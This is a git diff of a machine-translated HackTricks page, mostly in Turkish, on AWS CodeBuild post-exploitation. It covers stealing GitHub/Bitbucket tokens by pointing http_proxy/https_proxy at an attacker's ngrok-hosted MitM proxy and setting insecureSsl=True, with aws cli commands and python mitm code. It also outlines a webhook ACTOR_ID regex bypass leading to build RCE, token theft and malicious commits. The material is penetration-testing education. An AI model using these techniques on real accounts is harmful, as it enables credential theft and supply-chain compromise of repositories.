Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-01-18 15:12:12 +00:00
parent 728bb56e03
commit bd070a1886
@@ -2,47 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Github/Bitbucket Yapılandırılmış Token'larını Kurtarma
## Github/Bitbucket yapılandırılmış Tokens'leri kurtarma
Öncelikle, sızdırabileceğiniz herhangi bir kaynak kimlik bilgisi yapılandırılıp yapılandırılmadığını kontrol edin:
Önce, leak edebileceğiniz herhangi bir source credentials yapılandırılmış mı diye kontrol edin:
```bash
aws codebuild list-source-credentials
```
### Docker Görüntüsü Üzerinden
### Via Docker Image
Eğer örneğin Github'a kimlik doğrulamanın hesapta ayarlandığını bulursanız, Codebuild'i projeyi oluşturmak için **belirli bir docker görüntüsü** kullanmaya zorlayarak bu **erişimi** (**GH token veya OAuth token**) **sızdırabilirsiniz**.
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
Bu amaçla **yeni bir Codebuild projesi oluşturabilir** veya mevcut birinin **ortamını** değiştirerek **Docker görüntüsünü** ayarlayabilirsiniz.
For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
Kullanabileceğiniz Docker görüntüsü [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu, **env değişkenlerini `https_proxy`**, **`http_proxy`** ve **`SSL_CERT_FILE`** ayarlayacak çok temel bir Docker görüntüsüdür. Bu, **`https_proxy`** ve **`http_proxy`**'da belirtilen ana bilgisayarın trafiğinin çoğunu kesmenizi ve **`SSL_CERT_FILE`**'da belirtilen SSL CERT'ine güvenmenizi sağlar.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
1. **Kendi Docker MitM görüntünüzü oluşturun ve yükleyin**
- Proxy IP adresinizi ayarlamak ve SSL sertifikanızı belirlemek için repo talimatlarını izleyin ve **docker görüntüsünü oluşturun**.
- **`http_proxy`**'yi ayarlamayın, böylece metadata uç noktasına yapılan istekleri kesmeyin.
- Proxy'yi ana bilgisayarınıza ayarlamak için **`ngrok`** kullanabilirsiniz, örneğin `ngrok tcp 4444`.
- Docker görüntünüzü oluşturduktan sonra, **bunu halka açık bir repoya yükleyin** (Dockerhub, ECR...).
2. **Ortamı ayarlayın**
- **Yeni bir Codebuild projesi oluşturun** veya mevcut birinin ortamını **değiştirin**.
- Projeyi **önceden oluşturulmuş Docker görüntüsünü** kullanacak şekilde ayarlayın.
1. **Create & Upload your own Docker MitM image**
- Repo'daki talimatları takip ederek proxy IP adresinizi ve SSL sertifikanızı ayarlayın ve **docker image'i build edin**.
- **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
- Proxy'yi hostunuza ayarlamak için **`ngrok`** gibi bir araç kullanabilirsiniz: `ngrok tcp 4444`
- Docker image'i build ettikten sonra, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Yeni bir **Codebuild project** oluşturun veya mevcut bir projenin **environment**'ını değiştirin.
- Projeyi daha önce oluşturduğunuz **Docker image**'i kullanacak şekilde ayarlayın.
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Ana bilgisayarınızda MitM proxy'yi ayarlayın**
3. **Set the MitM proxy in your host**
- **Github repo**'sunda belirtildiği gibi, şunu kullanabilirsiniz:
- As indicated in the **Github repo** you could use something like:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> Kullanılan **mitmproxy sürümü 9.0.1** idi, sürüm 10 ile bunun çalışmayabileceği bildirildi.
> Kullanılan **mitmproxy version used was 9.0.1**, sürüm 10 ile bunun çalışmayabileceği rapor edildi.
4. **Build'i çalıştırın ve kimlik bilgilerini yakalayın**
4. **Build'i çalıştırın & kimlik bilgilerini yakalayın**
- Token'ı **Authorization** başlığında görebilirsiniz:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Bu, aws cli üzerinden de şöyle yapılabilir:
Bu, aws cli ile şu şekilde de yapılabilir
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
### insecureSSL aracılığıyla
**Codebuild** projeleri, yalnızca API'den değiştirilebilen, webde gizli bir ayar olan **`insecureSsl`** adlı bir ayara sahiptir.\
Bunu etkinleştirmek, Codebuild'in platform tarafından sunulan **sertifikayı kontrol etmeden** depoya bağlanmasına olanak tanır.
**Codebuild** projelerinin web arayüzünde gizli olan ve yalnızca API üzerinden değiştirilebilen **`insecureSsl`** adında bir ayarı vardır.\
Bunu etkinleştirmek, Codebuild'in platformun sunduğu sertifikayı kontrol etmeden repository'ye bağlanmasına izin verir.
- Öncelikle mevcut yapılandırmayı şu şekilde listelemeniz gerekir:
- İlk olarak mevcut yapılandırmayı aşağıdakine benzer bir komutla enumerate etmeniz gerekir:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncellememe dair bir örnek var, sonunda **`insecureSsl=True`** olduğunu unutmayın (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir).
- Ayrıca, tcp ngrok'unuza işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini de ekleyin:
- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncelleme örneğim var; sonundaki **`insecureSsl=True`** kısmına dikkat edin (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir).
- Ayrıca, **http_proxy** ve **https_proxy** çevre değişkenlerini tcp ngrok'unuza işaret edecek şekilde ekleyin, örneğin:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından belirtilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
- Sonra, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği proxy variables (http_proxy ve https_proxy) tarafından gösterilen porta çalıştırın
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Son olarak, **Projeyi oluştur** butonuna tıklayın, **kimlik bilgileri** **düz metin** (base64) olarak mitm portuna **gönderilecektir**:
- Son olarak, **Build the project**'e tıklayın; **credentials** mitm portuna **düz metin** (base64) olarak gönderilecek:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~HTTP protokolü aracılığıyla~~
### ~~HTTP protokolü üzerinden~~
> [!TIP] > **Bu güvenlik açığı, AWS tarafından 2023 Şubat ayının 20'si haftasında bir noktada (sanırım Cuma günü) düzeltildi. Bu nedenle bir saldırgan bunu artık kötüye kullanamaz :)**
> [!TIP] > **Bu zafiyet, 20 Şubat 2023 haftasında AWS tarafından bir noktada düzeltildi (sanırım Cuma). Bu yüzden bir saldırgan artık bunu kötüye kullanamaz :)**
**Yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını sızdırabilir** veya izinler OAuth aracılığıyla yapılandırılmışsa, **koda erişmek için kullanılan geçici OAuth token'ını** sızdırabilir.
Bir saldırgan, bir CodeBuild üzerinde **yükseltilmiş izinlere** sahipse yapılandırılmış Github/Bitbucket token'ını leak edebilir veya izinler OAuth ile yapılandırıldıysa, koda erişmek için kullanılan **geçici OAuth token'ını** leak edebilir.
- Bir saldırgan, kendi makinesine işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini CodeBuild projesine ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
- Bir saldırgan, CodeBuild projesine **http_proxy** ve **https_proxy** environment variable'larını ekleyerek bunları kendi makinesine işaret edecek şekilde ayarlayabilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Ardından, github repo'sunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
- Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaret edilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresinden temel örneği çalıştırın.
- Sonra, github deposunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Sonra, **Projeyi oluştur** butonuna tıklayın veya komut satırından oluşturmayı başlatın:
- Ardından **Build the project** seçeneğine tıklayın veya derlemeyi komut satırından başlatın:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Sonunda, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna **gönderilecektir**:
- Son olarak, **credentials** **açık metin** (base64) olarak mitm portuna gönderilecek:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Artık bir saldırgan, makinesinden token'ı kullanarak, sahip olduğu tüm ayrıcalıkları listeleyebilir ve CodeBuild hizmetini doğrudan kullanmaktan daha kolay bir şekilde (kötüye) kullanabilir.
> Artık bir saldırgan token'ı kendi makinesinden kullanabilecek, sahip olduğu tüm ayrıcalıkları listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde kötüye kullanabilecek.
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
Yanlış yapılandırılmış CodeBuild GitHub webhooks'u, anchor'lanmamış `ACTOR_ID` regex'leri kullandığında *güvenilmeyen* PR'lerin ayrıcalıklı build'leri başlatmasına izin verir. Eğer allowlist `123456|7890123` gibi `^`/`$` olmadan ayarlanmışsa, bu alt dizgilerden birini içeren herhangi bir ID eşleşir. GitHub kullanıcı ID'leri ardışık olduğundan, bir saldırgan “eclipsing” bir ID (güvenilen ID'nin süperdizisi) kaydetmek için yarışabilir ve build'i tetikleyebilir.
**Exploit path**
1. Public CodeBuild projelerini bularak webhook filtrelerini ortaya çıkarın ve anchor'lanmamış `ACTOR_ID` allowlist'ini çıkarın.
2. Bir eclipsing GitHub ID elde edin:
- Global ID sayacını örneklemek için GitHub org'ları oluşturup silin (org ID'leri aynı havuzu paylaşır).
- Çok sayıda GitHub App manifest oluşturmayı önceden hazırlayın ve sayaç hedefe ~100 ID kala onay URL'lerini tetikleyerek güvenilen alt dizgiyi içeren bir bot ID'sini hızlıca kaydedin.
3. Eclipsing hesaptan bir PR açın; regex alt dizgiyle eşleşir ve ayrıcalıklı build çalışır.
4. Build RCE kullanarak (ör. dependency install hooks) GitHub credential'ını işleyen proses belleğini dump edin ve PAT/OAuth token'ı kurtarın.
5. Token’ın `repo` scope'u ile hesabınızı collaborator/admin olarak davet edin ve kötü amaçlı commit'leri push/approve edin veya secret'leri exfiltrate edin.
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#include ../../../../banners/hacktricks-training.md}}